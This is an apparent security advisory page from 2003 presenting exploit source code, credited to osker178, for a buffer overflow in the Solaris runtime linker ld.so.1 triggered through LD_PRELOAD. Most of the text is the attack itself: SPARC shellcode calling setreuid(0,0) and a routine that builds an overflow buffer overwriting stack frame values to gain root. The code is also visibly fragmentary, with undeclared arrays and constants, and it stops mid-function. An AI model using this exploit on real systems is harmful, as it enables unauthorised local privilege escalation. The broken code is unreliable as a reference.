Buffer Overflow in Sun Solaris Runtime Linker (Exploit)
28 Oct. 2003
Summary
As we reported in our previous article Buffer Overflow in Sun Solaris Runtime Linker, a vulnerability in Sun's runtime linker allows local attackers to gain elevated privileges. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by osker178.
Exploit:
/* #############################
* ## ld.so.1 exploit (SPARC) ##
* #############################
* [coded by: osker178 (bjr213 psu.edu)]
*
* Alright, so this exploits a fairly standard buffer
* overflow in the default Solaris runtime linker (ld.so.1)
* (discovery by Jouko Pynnonen)
* Only real deviation here from the standard overflow
* and return into libc scenario is that at the time that
* overflow occurs, the libc object file has not been loaded;
* so it's not really possible to return into a libc function.
* However, this poses no real problem to us, as ld.so.1
* provides it's own ___cpy() functions which we can use to
* move our shellcode into an appropriate place in memory.
*
* Some things to note:
*
* - obviously some of the pre-defined addresses will have to be changed
*
* - 1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up
* overwriting a char *; this is actually very helpful for locating where
* the rest of our information is stored in memory, as this pointer
* will be used to display another error message, showing us what string
* is stored at the address we overwrote this pointer with.
*
* - ... eh, that's enough, just look at the code to figure the rest out
*/
#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>
/* setreuid(0,0) - for me at least, these both had to be called */
"\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */
"\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/
"\x91\xd0\x20\x08" /* ta 8 */
/* ********************************************** *
* ***************** GET_LD_ENV ***************** *
* ********************************************** */
char * get_ld_env(int buf_len, long offset)
{
long *lp;
char *buf;
char *ld_pre_env;
unsigned long strcpy_ret;
strcpy_ret = get_strcpy_addr();
if(!strcpy_ret)
return 0;
else
printf("strcpy found at [0x%x]\n\n", strcpy_ret);
/*
* buf_size --> main requested length (rounded up to nearest factor of 4)
* +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite
* +1 --> for the "/" character that must be appended in order to pass the strchr()
* and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1)
* +1 --> '\0' obviously
*/
buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1);
if(!buf)
{
perror("malloc");
return 0;
}
memset(buf, 'A', buf_len);
buf[0] = '/';
/* this is the location of the (char *) in ld.so.1 we are overwriting
* -> use this to find the address of the environment
* arguments (whatever value we write at this address
* is what will be displayed in an error message
* from ld.so.1 after the error message generated from
* our insecure path provided in LD_PRELOAD)
*/
lp = (long *)(buf + 1124);
*lp++ = FRAME_ADDR + offset;
lp = (long *)(buf + buf_len);
/* %l regs - as far as we're concerned, these
* values don't matter (i've never
* had a problem with them)
*/
*lp++ = 0x61616161; /* %l0 */
*lp++ = 0x62626262; /* %l1 */
*lp++ = 0x63636363; /* %l2 */
*lp++ = 0x64646464; /* %l3 */
*lp++ = 0x65656565; /* %l4 */
*lp++ = 0x66666666; /* %l5 */
*lp++ = 0x67676767; /* %l6 */
*lp++ = 0x68686868; /* %l7 */
memset(envs_str, fill, ENV_STR_SIZE);
envs_str[0] = 'b'; // \
envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables */
envs_str[2] = 'g'; // /
envs_str[ENV_STR_SIZE] = '\0';